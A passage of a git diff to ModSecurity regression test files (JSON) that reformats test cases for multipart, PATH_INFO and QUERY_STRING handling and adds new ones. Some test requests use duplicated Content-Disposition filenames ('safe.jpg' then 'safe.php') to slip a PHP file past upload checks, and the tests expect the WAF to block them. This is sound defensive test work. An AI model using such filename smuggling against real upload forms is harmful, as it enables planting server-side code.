name=\"file\"; filename=\"safe.jpg\"; filename=\"safe.php\"", + "error_log": "data \"PE 1, BQ 0, BW 0, DB 0, DA 0, DH 1, HF 0, LF 0, SM 0, IQ 0, IP 1", + "http_code": 400 + }, + "rules": [ + "SecRuleEngine On", + "SecRequestBodyAccess On", + "SecAction \"id:990100,phase:2,pass,log,t:none,msg:'PARSER_STATE',logdata:'PE %{REQBODY_PROCESSOR_ERROR}, BQ %{MULTIPART_BOUNDARY_QUOTED}, BW %{MULTIPART_BOUNDARY_WHITESPACE}, DB %{MULTIPART_DATA_BEFORE}, DA %{MULTIPART_DATA_AFTER}, DH %{MULTIPART_DUPLICATE_PART_HEADER}, HF %{MULTIPART_HEADER_FOLDING}, LF %{MULTIPART_LF_LINE}, SM %{MULTIPART_MISSING_SEMICOLON}, IQ %{MULTIPART_INVALID_QUOTING}, IP %{MULTIPART_INVALID_PART}, IH %{MULTIPART_INVALID_HEADER_FOLDING}, FL %{MULTIPART_FILE_LIMIT_EXCEEDED}'\"", + "SecRule REQBODY_ERROR \"!@eq 0\" \"id:990101,phase:2,deny,status:400,log,t:none\"", + "SecRule MULTIPART_STRICT_ERROR \"!@eq 0\" \"id:990102,phase:2,deny,status:400,log,t:none\"" + ] + }, + { + "enabled": 1, + "version_min": 300000, + "title": "multipart Content-Disposition duplicate filename*", + "client": { + "ip": "200.249.12.31", + "port": 123 + }, + "server": { + "ip": "200.249.12.31", + "port": 80 + }, + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + "Content-Length": "167", + "Content-Type": "multipart/form-data; boundary=AaB03x", + "Expect": "100-continue" + }, + "uri": "/", + "method": "POST", + "body": [ + "--AaB03x\r\n", + "Content-Disposition: form-data; name=\"file\"; filename*=UTF8''safe.jpg; filename*=UTF8''safe.php\r\n", + "Content-Type: application/octet-stream\r\n", + "\r\n", + "test\r\n", + "--AaB03x--\r\n" + ] + }, + "response": { + "headers": { + "Content-Length": "0" + }, + "body": [ + "" + ] + }, + "expected": { + "debug_log": "Multipart: Invalid Content-Disposition header \\(\\-15\\): form-data; name=\"file\"; filename\\*=UTF8''safe.jpg; filename\\*=UTF8''safe.php", + "error_log": "data \"PE 1, BQ 0, BW 0, DB 0, DA 0, DH 1, HF 0, LF 0, SM 0, IQ 0, IP 1", + "http_code": 400 + }, + "rules": [ + "SecRuleEngine On", + "SecRequestBodyAccess On", + "SecAction \"id:990100,phase:2,pass,log,t:none,msg:'PARSER_STATE',logdata:'PE %{REQBODY_PROCESSOR_ERROR}, BQ %{MULTIPART_BOUNDARY_QUOTED}, BW %{MULTIPART_BOUNDARY_WHITESPACE}, DB %{MULTIPART_DATA_BEFORE}, DA %{MULTIPART_DATA_AFTER}, DH %{MULTIPART_DUPLICATE_PART_HEADER}, HF %{MULTIPART_HEADER_FOLDING}, LF %{MULTIPART_LF_LINE}, SM %{MULTIPART_MISSING_SEMICOLON}, IQ %{MULTIPART_INVALID_QUOTING}, IP %{MULTIPART_INVALID_PART}, IH %{MULTIPART_INVALID_HEADER_FOLDING}, FL %{MULTIPART_FILE_LIMIT_EXCEEDED}'\"", + "SecRule REQBODY_ERROR \"!@eq 0\" \"id:990101,phase:2,deny,status:400,log,t:none\"", + "SecRule MULTIPART_STRICT_ERROR \"!@eq 0\" \"id:990102,phase:2,deny,status:400,log,t:none\"" + ] + }, + { + "enabled": 1, + "version_min": 300000, + "title": "multipart Content-Disposition duplicate filename after filename*", + "client": { + "ip": "200.249.12.31", + "port": 123 + }, + "server": { + "ip": "200.249.12.31", + "port": 80 + }, + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + "Content-Length": "183", + "Content-Type": "multipart/form-data; boundary=AaB03x", + "Expect": "100-continue" + }, + "uri": "/", + "method": "POST", + "body": [ + "--AaB03x\r\n", + "Content-Disposition: form-data; name=\"file\"; filename*=UTF8''safe.jpg; filename=\"safe.jpg\"; filename=\"safe.php\"\r\n", + "Content-Type: application/octet-stream\r\n", + "\r\n", + "test\r\n", + "--AaB03x--\r\n" + ] + }, + "response": { + "headers": { + "Content-Length": "0" + }, + "body": [ + "" + ] + }, + "expected": { + "debug_log": "Multipart: Invalid Content-Disposition header \\(\\-15\\): form-data; name=\"file\"; filename\\*=UTF8''safe.jpg; filename=\"safe.jpg\"; filename=\"safe.php\"", + "error_log": "data \"PE 1, BQ 0, BW 0, DB 0, DA 0, DH 1, HF 0, LF 0, SM 0, IQ 0, IP 1", + "http_code": 400 + }, + "rules": [ + "SecRuleEngine On", + "SecRequestBodyAccess On", + "SecAction \"id:990100,phase:2,pass,log,t:none,msg:'PARSER_STATE',logdata:'PE %{REQBODY_PROCESSOR_ERROR}, BQ %{MULTIPART_BOUNDARY_QUOTED}, BW %{MULTIPART_BOUNDARY_WHITESPACE}, DB %{MULTIPART_DATA_BEFORE}, DA %{MULTIPART_DATA_AFTER}, DH %{MULTIPART_DUPLICATE_PART_HEADER}, HF %{MULTIPART_HEADER_FOLDING}, LF %{MULTIPART_LF_LINE}, SM %{MULTIPART_MISSING_SEMICOLON}, IQ %{MULTIPART_INVALID_QUOTING}, IP %{MULTIPART_INVALID_PART}, IH %{MULTIPART_INVALID_HEADER_FOLDING}, FL %{MULTIPART_FILE_LIMIT_EXCEEDED}'\"", + "SecRule REQBODY_ERROR \"!@eq 0\" \"id:990101,phase:2,deny,status:400,log,t:none\"", + "SecRule MULTIPART_STRICT_ERROR \"!@eq 0\" \"id:990102,phase:2,deny,status:400,log,t:none\"" + ] + }, + { + "enabled": 1, + "version_min": 300000, + "title": "Testing Variables :: MULTIPART_FILENAME* with invalid encoded name", + "client": { + "ip": "200.249.12.31", + "port": 123 + }, + "server": { + "ip": "200.249.12.31", + "port": 80 + }, + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + "Content-Length": "145", + "Content-Type": "multipart/form-data; boundary=b", + "Expect": "100-continue" + }, + "uri": "/", + "method": "POST", + "body": [ + "--b\r\n", + "Content-Disposition: form-data; name=\"file\"; filename*=UTF-8''Math+physics%20v1.pdf%ZZ\r\n", + "Content-Type: application/pdf\r\n", + "\r\n", + "%PDF-1.7\r\n", + "\r\n", + "--b--\r\n" + ] + }, + "response": { + "headers": { + "Date": "Mon, 13 Jul 2015 20:02:41 GMT", + "Last-Modified": "Sun, 26 Oct 2014 22:33:37 GMT", + "Content-Type": "text/html", + "Content-Length": "8" + }, + "body": [ + "no need." + ] + }, + "expected": { + "debug_log": "Invalid Content-Disposition header \\(-18\\): form-data; name=\"file\"; filename\\*=UTF-8''Math\\+physics%20v1\\.pdf%ZZ", + "error_log": "data \"PE 1, BQ 0, BW 0, DB 0, DA 0, DH 1, HF 0, LF 0, SM 0, IQ 0, IP 1", + "http_code": 400 + }, + "rules": [ + "SecRuleEngine On", + "SecRequestBodyAccess On", + "SecAction \"id:990100,phase:2,pass,log,t:none,msg:'PARSER_STATE',logdata:'PE %{REQBODY_PROCESSOR_ERROR}, BQ %{MULTIPART_BOUNDARY_QUOTED}, BW %{MULTIPART_BOUNDARY_WHITESPACE}, DB %{MULTIPART_DATA_BEFORE}, DA %{MULTIPART_DATA_AFTER}, DH %{MULTIPART_DUPLICATE_PART_HEADER}, HF %{MULTIPART_HEADER_FOLDING}, LF %{MULTIPART_LF_LINE}, SM %{MULTIPART_MISSING_SEMICOLON}, IQ %{MULTIPART_INVALID_QUOTING}, IP %{MULTIPART_INVALID_PART}, IH %{MULTIPART_INVALID_HEADER_FOLDING}, FL %{MULTIPART_FILE_LIMIT_EXCEEDED}'\"", + "SecRule REQBODY_ERROR \"!@eq 0\" \"id:990101,phase:2,deny,status:400,log,t:none\"", + "SecRule MULTIPART_STRICT_ERROR \"!@eq 0\" \"id:990102,phase:2,deny,status:400,log,t:none\"" + ] + }, + { + "enabled": 1, + "version_min": 300000, + "title": "Testing Variables :: MULTIPART_FILENAME* with invalid quoted name", + "client": { + "ip": "200.249.12.31", + "port": 123 + }, + "server": { + "ip": "200.249.12.31", + "port": 80 + }, + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + "Content-Length": "144", + "Content-Type": "multipart/form-data; boundary=b", + "Expect": "100-continue" + }, + "uri": "/", + "method": "POST", + "body": [ + "--b\r\n", + "Content-Disposition: form-data; name=\"file\"; filename*=\"UTF-8''Math+physics%20v1.pdf\"\r\n", + "Content-Type: application/pdf\r\n", + "\r\n", + "%PDF-1.7\r\n", + "\r\n", + "--b--\r\n" + ] + }, + "response": { + "headers": { + "Date": "Mon, 13 Jul 2015 20:02:41 GMT", + "Last-Modified": "Sun, 26 Oct 2014 22:33:37 GMT", + "Content-Type": "text/html", + "Content-Length": "8" + }, + "body": [ + "no need." + ] + }, + "expected": { + "debug_log": "Invalid Content-Disposition header \\(-16\\): form-data; name=\"file\"; filename\\*=\"UTF-8''Math\\+physics%20v1\\.pdf\"", + "error_log": "data \"PE 1, BQ 0, BW 0, DB 0, DA 0, DH 1, HF 0, LF 0, SM 0, IQ 0, IP 1", + "http_code": 400 + }, + "rules": [ + "SecRuleEngine On", + "SecRequestBodyAccess On", + "SecAction \"id:990100,phase:2,pass,log,t:none,msg:'PARSER_STATE',logdata:'PE %{REQBODY_PROCESSOR_ERROR}, BQ %{MULTIPART_BOUNDARY_QUOTED}, BW %{MULTIPART_BOUNDARY_WHITESPACE}, DB %{MULTIPART_DATA_BEFORE}, DA %{MULTIPART_DATA_AFTER}, DH %{MULTIPART_DUPLICATE_PART_HEADER}, HF %{MULTIPART_HEADER_FOLDING}, LF %{MULTIPART_LF_LINE}, SM %{MULTIPART_MISSING_SEMICOLON}, IQ %{MULTIPART_INVALID_QUOTING}, IP %{MULTIPART_INVALID_PART}, IH %{MULTIPART_INVALID_HEADER_FOLDING}, FL %{MULTIPART_FILE_LIMIT_EXCEEDED}'\"", + "SecRule REQBODY_ERROR \"!@eq 0\" \"id:990101,phase:2,deny,status:400,log,t:none\"", + "SecRule MULTIPART_STRICT_ERROR \"!@eq 0\" \"id:990102,phase:2,deny,status:400,log,t:none\"" + ] } ] - diff --git a/test/test-cases/regression/variable-MULTIPART_UNMATCHED_BOUNDARY.json b/test/test-cases/regression/variable-MULTIPART_UNMATCHED_BOUNDARY.json index 97b34d5552..3ca0fc0fd6 100644 --- a/test/test-cases/regression/variable-MULTIPART_UNMATCHED_BOUNDARY.json +++ b/test/test-cases/regression/variable-MULTIPART_UNMATCHED_BOUNDARY.json @@ -1,59 +1,61 @@ -[ - { - "enabled":1, - "version_min":300000, - "title":"Testing Variables :: MULTIPART_UNMATCHED_BOUNDARY", - "client":{ - "ip":"200.249.12.31", - "port":123 +[ + { + "enabled": 1, + "version_min": 300000, + "title": "Testing Variables :: MULTIPART_UNMATCHED_BOUNDARY", + "client": { + "ip": "200.249.12.31", + "port": 123 }, - "server":{ - "ip":"200.249.12.31", - "port":80 + "server": { + "ip": "200.249.12.31", + "port": 80 }, - "request":{ - "headers":{ - "Host":"localhost", - "User-Agent":"curl/7.38.0", - "Accept":"*/*", - "Content-Length":"330", - "Content-Type":"multipart/form-data; boundary=--------------------------756b6d74fa1a8ee2", - "Expect":"100-continue" + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + "Content-Length": "464", + "Content-Type": "multipart/form-data; boundary=--------------------------756b6d74fa1a8ee2", + "Expect": "100-continue" }, - "uri":"/", - "method":"POST", - "body":[ - "--------------------------756b6d74fa1a8ee2", - "Content-Disposition: form-data; name=\"name\"", - "", - "test", - "--------------------------756b6d74fa1a8ee2", - "Content-Disposition: form-data; name=\"filedata\"; filename=\"small_text_file.txt\"", - "Content-Type: text/plain", - "", - "This is a very small test file..", - "--------------------------756b6d74fa1a8ee2", - "Content-Disposition: form-data; name=\"filedata\"; filename=\"small_text_file.txt\"", - "Content-Type: text/plain", - "", - "This is another very small test file..", - "" + "uri": "/", + "method": "POST", + "body": [ + "--------------------------756b6d74fa1a8ee2\n", + "Content-Disposition: form-data; name=\"name\"\n", + "\n", + "test\n", + "--------------------------756b6d74fa1a8ee2\n", + "Content-Disposition: form-data; name=\"filedata\"; filename=\"small_text_file.txt\"\n", + "Content-Type: text/plain\n", + "\n", + "This is a very small test file..\n", + "--------------------------756b6d74fa1a8ee2\n", + "Content-Disposition: form-data; name=\"filedata\"; filename=\"small_text_file.txt\"\n", + "Content-Type: text/plain\n", + "\n", + "This is another very small test file..\n", + "\n" ] }, - "response":{ - "headers":{ - "Date":"Mon, 13 Jul 2015 20:02:41 GMT", - "Last-Modified":"Sun, 26 Oct 2014 22:33:37 GMT", - "Content-Type":"text/html" + "response": { + "headers": { + "Date": "Mon, 13 Jul 2015 20:02:41 GMT", + "Last-Modified": "Sun, 26 Oct 2014 22:33:37 GMT", + "Content-Type": "text/html", + "Content-Length": "8" }, - "body":[ + "body": [ "no need." ] }, - "expected":{ - "debug_log":"Target value: \"1\" \\(Variable: MULTIPART_UNMATCHED_BOUNDARY\\)" + "expected": { + "debug_log": "Target value: \"1\" \\(Variable: MULTIPART_UNMATCHED_BOUNDARY\\)", + "http_code": 200 }, - "rules":[ + "rules": [ "SecRuleEngine On", "SecRule MULTIPART_UNMATCHED_BOUNDARY \"@contains small_text_file.txt\" \"id:1,phase:3,pass,t:trim\"" ] diff --git a/test/test-cases/regression/variable-OUTBOUND_DATA_ERROR.json b/test/test-cases/regression/variable-OUTBOUND_DATA_ERROR.json index 93651239e7..b82c905c7f 100644 --- a/test/test-cases/regression/variable-OUTBOUND_DATA_ERROR.json +++ b/test/test-cases/regression/variable-OUTBOUND_DATA_ERROR.json @@ -1,92 +1,99 @@ -[ - { - "enabled":1, - "version_min":300000, - "title":"Testing Variables :: OUTBOUND_DATA_ERROR (1/2)", - "client":{ - "ip":"200.249.12.31", - "port":123 +[ + { + "enabled": 1, + "version_min": 300000, + "title": "Testing Variables :: OUTBOUND_DATA_ERROR (1/2)", + "client": { + "ip": "200.249.12.31", + "port": 123 }, - "server":{ - "ip":"200.249.12.31", - "port":80 + "server": { + "ip": "200.249.12.31", + "port": 80 }, - "request":{ - "headers":{ - "Host":"localhost", - "User-Agent":"curl/7.38.0", - "Accept":"*/*" + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + "Content-Length": "0" }, - "uri":"/?key=value&key=other_value", - "method":"GET" + "uri": "/?key=value&key=other_value", + "method": "GET", + "body": [ + "" + ] }, - "response":{ - "headers":{ - "Date":"Mon, 13 Jul 2015 20:02:41 GMT", - "Last-Modified":"Sun, 26 Oct 2014 22:33:37 GMT", - "Content-Type":"text/html" + "response": { + "headers": { + "Date": "Mon, 13 Jul 2015 20:02:41 GMT", + "Last-Modified": "Sun, 26 Oct 2014 22:33:37 GMT", + "Content-Type": "text/html", + "Content-Length": "8" }, - "body":[ + "body": [ "no need." ] }, - "expected":{ - "debug_log":"Target value: \"0\" \\(Variable: OUTBOUND_DATA_ERROR\\)" + "expected": { + "debug_log": "Target value: \"0\" \\(Variable: OUTBOUND_DATA_ERROR\\)", + "http_code": 200 }, - "rules":[ + "rules": [ "SecRuleEngine On", "SecResponseBodyAccess On", "SecRule OUTBOUND_DATA_ERROR \"@eq 1\" \"id:1,phase:4,pass,t:trim\"" ] }, - { - "enabled":1, - "version_min":300000, - "title":"Testing Variables :: OUTBOUND_DATA_ERROR (2/2)", - "client":{ - "ip":"200.249.12.31", - "port":123 + { + "enabled": 1, + "version_min": 300000, + "title": "Testing Variables :: OUTBOUND_DATA_ERROR (2/2)", + "client": { + "ip": "200.249.12.31", + "port": 123 }, - "server":{ - "ip":"200.249.12.31", - "port":80 + "server": { + "ip": "200.249.12.31", + "port": 80 }, - "request":{ - "headers":{ - "Host":"localhost", - "User-Agent":"curl/7.38.0", - "Accept":"*/*", - "Content-Length":"330", - "Content-Type":"multipart/form-data; boundary=--------------------------756b6d74fa1a8ee2", - "Expect":"100-continue" + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + "Content-Length": "523", + "Content-Type": "multipart/form-data; boundary=------------------------756b6d74fa1a8ee2", + "Expect": "100-continue" }, - "uri":"/", - "method":"POST", - "body":[ - "--------------------------756b6d74fa1a8ee2", - "Content-Disposition: form-data; name=\"name\"", - "", - "test", - "--------------------------756b6d74fa1a8ee2", - "Content-Disposition: form-data; name=\"filedata\"; filename=\"small_text_file.txt\"", - "Content-Type: text/plain", - "", - "This is a very small test file..", - "--------------------------756b6d74fa1a8ee2", - "Content-Disposition: form-data; name=\"filedata\"; filename=\"small_text_file.txt\"", - "Content-Type: text/plain", - "", - "This is another very small test file..", - "--------------------------756b6d74fa1a8ee2--" + "uri": "/", + "method": "POST", + "body": [ + "--------------------------756b6d74fa1a8ee2\r\n", + "Content-Disposition: form-data; name=\"name\"\r\n", + "\r\n", + "test\r\n", + "--------------------------756b6d74fa1a8ee2\r\n", + "Content-Disposition: form-data; name=\"filedata\"; filename=\"small_text_file.txt\"\r\n", + "Content-Type: text/plain\r\n", + "\r\n", + "This is a very small test file..\r\n", + "--------------------------756b6d74fa1a8ee2\r\n", + "Content-Disposition: form-data; name=\"filedata\"; filename=\"small_text_file.txt\"\r\n", + "Content-Type: text/plain\r\n", + "\r\n", + "This is another very small test file..\r\n", + "--------------------------756b6d74fa1a8ee2--\r\n" ] }, - "response":{ - "headers":{ - "Date":"Mon, 13 Jul 2015 20:02:41 GMT", - "Last-Modified":"Sun, 26 Oct 2014 22:33:37 GMT", - "Content-Type":"text/html" + "response": { + "headers": { + "Date": "Mon, 13 Jul 2015 20:02:41 GMT", + "Last-Modified": "Sun, 26 Oct 2014 22:33:37 GMT", + "Content-Type": "text/html", + "Content-Length": "493" }, - "body":[ + "body": [ "--------------------------756b6d74fa1a8ee2", "Content-Disposition: form-data; name=\"name\"", "", @@ -104,10 +111,11 @@ "--------------------------756b6d74fa1a8ee2--" ] }, - "expected":{ - "debug_log":"Target value: \"1\" \\(Variable: OUTBOUND_DATA_ERROR\\)" + "expected": { + "debug_log": "Target value: \"1\" \\(Variable: OUTBOUND_DATA_ERROR\\)", + "http_code": 200 }, - "rules":[ + "rules": [ "SecRuleEngine On", "SecResponseBodyAccess On", "SecResponseBodyLimit 2", @@ -115,4 +123,3 @@ ] } ] - diff --git a/test/test-cases/regression/variable-PATH_INFO.json b/test/test-cases/regression/variable-PATH_INFO.json index 77651d9e0c..4cb8e0b82f 100644 --- a/test/test-cases/regression/variable-PATH_INFO.json +++ b/test/test-cases/regression/variable-PATH_INFO.json @@ -1,134 +1,185 @@ [ { - "enabled":1, - "version_min":300000, - "title":"Testing Variables :: PATH_INFO (1/3)", - "client":{ - "ip":"200.249.12.31", - "port":123 - }, - "server":{ - "ip":"200.249.12.31", - "port":80 - }, - "request":{ - "headers":{ - "Host":"localhost", - "User-Agent":"curl/7.38.0", - "Accept":"*/*", - "Content-Length":"27", - "Content-Type":"application/x-www-form-urlencoded" + "enabled": 1, + "version_min": 300000, + "title": "Testing Variables :: PATH_INFO (1/4)", + "client": { + "ip": "200.249.12.31", + "port": 123 + }, + "server": { + "ip": "200.249.12.31", + "port": 80 + }, + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + "Content-Length": "27", + "Content-Type": "application/x-www-form-urlencoded" }, - "uri":"/one/two/three", - "method":"POST", - "body":[ + "uri": "/one/two/three", + "method": "POST", + "body": [ "param1=value1¶m2=value2" ] }, - "response":{ - "headers":{ - "Date":"Mon, 13 Jul 2015 20:02:41 GMT", - "Last-Modified":"Sun, 26 Oct 2014 22:33:37 GMT", - "Content-Type":"text/html" + "response": { + "headers": { + "Date": "Mon, 13 Jul 2015 20:02:41 GMT", + "Last-Modified": "Sun, 26 Oct 2014 22:33:37 GMT", + "Content-Type": "text/html", + "Content-Length": "8" }, - "body":[ + "body": [ "no need." ] }, - "expected":{ - "debug_log":"Target value: \"/one/two/three\" \\(Variable: PATH_INFO\\)" + "expected": { + "debug_log": "Target value: \"/one/two/three\" \\(Variable: PATH_INFO\\)", + "http_code": 200 }, - "rules":[ + "rules": [ "SecRuleEngine On", "SecRule PATH_INFO \"@contains test \" \"id:1,phase:3,pass,t:trim\"" ] }, { - "enabled":1, - "version_min":300000, - "title":"Testing Variables :: PATH_INFO (2/3)", - "client":{ - "ip":"200.249.12.31", - "port":123 - }, - "server":{ - "ip":"200.249.12.31", - "port":80 - }, - "request":{ - "headers":{ - "Host":"localhost", - "User-Agent":"curl/7.38.0", - "Accept":"*/*", - "Content-Length":"27", - "Content-Type":"application/x-www-form-urlencoded" + "enabled": 1, + "version_min": 300000, + "title": "Testing Variables :: PATH_INFO (2/4)", + "client": { + "ip": "200.249.12.31", + "port": 123 + }, + "server": { + "ip": "200.249.12.31", + "port": 80 + }, + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + "Content-Length": "27", + "Content-Type": "application/x-www-form-urlencoded" }, - "uri":"/one/two/three?key=value", - "method":"POST", - "body":[ + "uri": "/one/two/three?key=value", + "method": "POST", + "body": [ "param1=value1¶m2=value2" ] }, - "response":{ - "headers":{ - "Date":"Mon, 13 Jul 2015 20:02:41 GMT", - "Last-Modified":"Sun, 26 Oct 2014 22:33:37 GMT", - "Content-Type":"text/html" + "response": { + "headers": { + "Date": "Mon, 13 Jul 2015 20:02:41 GMT", + "Last-Modified": "Sun, 26 Oct 2014 22:33:37 GMT", + "Content-Type": "text/html", + "Content-Length": "8" }, - "body":[ + "body": [ "no need." ] }, - "expected":{ - "debug_log":"Target value: \"/one/two/three\" \\(Variable: PATH_INFO\\)" + "expected": { + "debug_log": "Target value: \"/one/two/three\" \\(Variable: PATH_INFO\\)", + "http_code": 200 }, - "rules":[ + "rules": [ "SecRuleEngine On", "SecRule PATH_INFO \"@contains test \" \"id:1,phase:3,pass,t:trim\"" ] }, { - "enabled":1, - "version_min":300000, - "title":"Testing Variables :: PATH_INFO (3/3)", - "client":{ - "ip":"200.249.12.31", - "port":123 - }, - "server":{ - "ip":"200.249.12.31", - "port":80 - }, - "request":{ - "headers":{ - "Host":"localhost", - "User-Agent":"curl/7.38.0", - "Accept":"*/*", - "Content-Length":"27", - "Content-Type":"application/x-www-form-urlencoded" + "enabled": 1, + "version_min": 300000, + "title": "Testing Variables :: PATH_INFO (3/4)", + "client": { + "ip": "200.249.12.31", + "port": 123 + }, + "server": { + "ip": "200.249.12.31", + "port": 80 + }, + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + "Content-Length": "27", + "Content-Type": "application/x-www-form-urlencoded" }, - "uri":"/one/two/%20/three?key=value", - "method":"POST", - "body":[ + "uri": "/one/two/%20/three?key=value", + "method": "POST", + "body": [ "param1=value1¶m2=value2" ] }, - "response":{ - "headers":{ - "Date":"Mon, 13 Jul 2015 20:02:41 GMT", - "Last-Modified":"Sun, 26 Oct 2014 22:33:37 GMT", - "Content-Type":"text/html" + "response": { + "headers": { + "Date": "Mon, 13 Jul 2015 20:02:41 GMT", + "Last-Modified": "Sun, 26 Oct 2014 22:33:37 GMT", + "Content-Type": "text/html", + "Content-Length": "8" }, - "body":[ + "body": [ "no need." ] }, - "expected":{ - "debug_log":"Target value: \"/one/two/ /three\" \\(Variable: PATH_INFO\\)" + "expected": { + "debug_log": "Target value: \"/one/two/ /three\" \\(Variable: PATH_INFO\\)", + "http_code": 200 }, - "rules":[ + "rules": [ "SecRuleEngine On", "SecRule PATH_INFO \"@contains test \" \"id:1,phase:3,pass,t:trim\"" ] + }, + { + "enabled": 1, + "version_min": 300000, + "title": "Testing Variables :: PATH_INFO (4/4)", + "client": { + "ip": "200.249.12.31", + "port": 123 + }, + "server": { + "ip": "200.249.12.31", + "port": 80 + }, + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + "Content-Length": "27", + "Content-Type": "application/x-www-form-urlencoded" + }, + "uri": "/one/t%3fo/three?key=value", + "method": "POST", + "body": [ + "param1=value1¶m2=value2" + ] + }, + "response": { + "headers": { + "Date": "Mon, 13 Jul 2015 20:02:41 GMT", + "Last-Modified": "Sun, 26 Oct 2014 22:33:37 GMT", + "Content-Type": "text/html", + "Content-Length": "8" + }, + "body": [ + "no need." + ] + }, + "expected": { + "http_code": 403 + }, + "rules": [ + "SecRuleEngine On", + "SecRule PATH_INFO \"@contains three\" \"id:1,phase:2,deny,status:403,t:trim\"" + ] } ] diff --git a/test/test-cases/regression/variable-QUERY_STRING.json b/test/test-cases/regression/variable-QUERY_STRING.json index 02fc497bad..ac351cb091 100644 --- a/test/test-cases/regression/variable-QUERY_STRING.json +++ b/test/test-cases/regression/variable-QUERY_STRING.json @@ -1,121 +1,136 @@ [ { - "enabled":1, - "version_min":300000, - "title":"Testing Variables :: QUERY_STRING", - "client":{ - "ip":"200.249.12.31", - "port":123 + "enabled": 1, + "version_min": 300000, + "title": "Testing Variables :: QUERY_STRING", + "client": { + "ip": "200.249.12.31", + "port": 123 }, - "server":{ - "ip":"200.249.12.31", - "port":80 + "server": { + "ip": "200.249.12.31", + "port": 80 }, - "request":{ - "headers":{ - "Host":"localhost", - "User-Agent":"curl/7.38.0", - "Accept":"*/*", - "Content-Length":"27", - "Content-Type":"application/x-www-form-urlencoded" + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + "Content-Length": "0", + "Content-Type": "application/x-www-form-urlencoded" }, - "uri":"/one/two/three?key1=value1&key2=v%20a%20l%20u%20e%202", - "method":"GET" + "uri": "/one/two/three?key1=value1&key2=v%20a%20l%20u%20e%202", + "method": "GET", + "body": [ + "" + ] }, - "response":{ - "headers":{ - "Date":"Mon, 13 Jul 2015 20:02:41 GMT", - "Last-Modified":"Sun, 26 Oct 2014 22:33:37 GMT", - "Content-Type":"text/html" + "response": { + "headers": { + "Date": "Mon, 13 Jul 2015 20:02:41 GMT", + "Last-Modified": "Sun, 26 Oct 2014 22:33:37 GMT", + "Content-Type": "text/html", + "Content-Length": "8" }, - "body":[ + "body": [ "no need." ] }, - "expected":{ - "debug_log":"key2=v\\%20a\\%20l\\%20u\\%20e\\%202\" \\(Variable: QUERY_STRING\\)" + "expected": { + "debug_log": "key2=v\\%20a\\%20l\\%20u\\%20e\\%202\" \\(Variable: QUERY_STRING\\)", + "http_code": 200 }, - "rules":[ + "rules": [ "SecRuleEngine On", "SecRule QUERY_STRING \"@contains test \" \"id:1,phase:3,pass,t:trim\"" ] }, { - "enabled":1, - "version_min":300000, - "title":"Testing Variables :: QUERY_STRING (URI contains fragment)", - "client":{ - "ip":"200.249.12.31", - "port":123 + "enabled": 1, + "version_min": 300000, + "title": "Testing Variables :: QUERY_STRING (URI contains fragment)", + "client": { + "ip": "200.249.12.31", + "port": 123 }, - "server":{ - "ip":"200.249.12.31", - "port":80 + "server": { + "ip": "200.249.12.31", + "port": 80 }, - "request":{ - "headers":{ - "Host":"localhost", - "User-Agent":"curl/7.38.0", - "Accept":"*/*" + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + "Content-Length": "0" }, - "uri":"/?key=value&key=other_value#urifrag", - "method":"GET", - "http_version":1.1 + "uri": "/?key=value&key=other_value#urifrag", + "method": "GET", + "http_version": 1.1, + "body": [ + "" + ] }, - "response":{ - "headers":{ - "Date":"Mon, 13 Jul 2015 20:02:41 GMT", - "Last-Modified":"Sun, 26 Oct 2014 22:33:37 GMT", - "Content-Type":"text/html" + "response": { + "headers": { + "Date": "Mon, 13 Jul 2015 20:02:41 GMT", + "Last-Modified": "Sun, 26 Oct 2014 22:33:37 GMT", + "Content-Type": "text/html", + "Content-Length": "8" }, - "body":[ + "body": [ "no need." ] }, - "expected":{ + "expected": { "http_code": 403 }, - "rules":[ + "rules": [ "SecRuleEngine On", "SecRule QUERY_STRING \"!@contains urifrag\" \"id:1,phase:1,deny,status:403\"" ] }, { - "enabled":1, - "version_min":300000, - "title":"Testing Variables :: QUERY_STRING (URI contains fragment)", - "client":{ - "ip":"200.249.12.31", - "port":123 + "enabled": 1, + "version_min": 300000, + "title": "Testing Variables :: QUERY_STRING (URI contains fragment)", + "client": { + "ip": "200.249.12.31", + "port": 123 }, - "server":{ - "ip":"200.249.12.31", - "port":80 + "server": { + "ip": "200.249.12.31", + "port": 80 }, - "request":{ - "headers":{ - "Host":"localhost", - "User-Agent":"curl/7.38.0", - "Accept":"*/*" + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + "Content-Length": "0" }, - "uri":"/one/two/testpost.php#urifrag", - "method":"GET", - "http_version":1.1 + "uri": "/one/two/testpost.php#urifrag", + "method": "GET", + "http_version": 1.1, + "body": [ + "" + ] }, - "response":{ - "headers":{ - "Date":"Mon, 13 Jul 2015 20:02:41 GMT", - "Last-Modified":"Sun, 26 Oct 2014 22:33:37 GMT", - "Content-Type":"text/html" + "response": { + "headers": { + "Date": "Mon, 13 Jul 2015 20:02:41 GMT", + "Last-Modified": "Sun, 26 Oct 2014 22:33:37 GMT", + "Content-Type": "text/html", + "Content-Length": "8" }, - "body":[ + "body": [ "no need." ] }, - "expected":{ + "expected": { "http_code": 403 }, - "rules":[ + "rules": [ "SecRuleEngine On", "SecRule QUERY_STRING \"@eq 0\" \"id:1,phase:1,t:length,deny,status:403\"" ] diff --git a/test/test-cases/regression/variable-REMOTE_ADDR.json b/test/test-cases/regression/variable-REMOTE_ADDR.json index 5fca80e773..779b2c50da 100644 --- a/test/test-cases/regression/variable-REMOTE_ADDR.json +++ 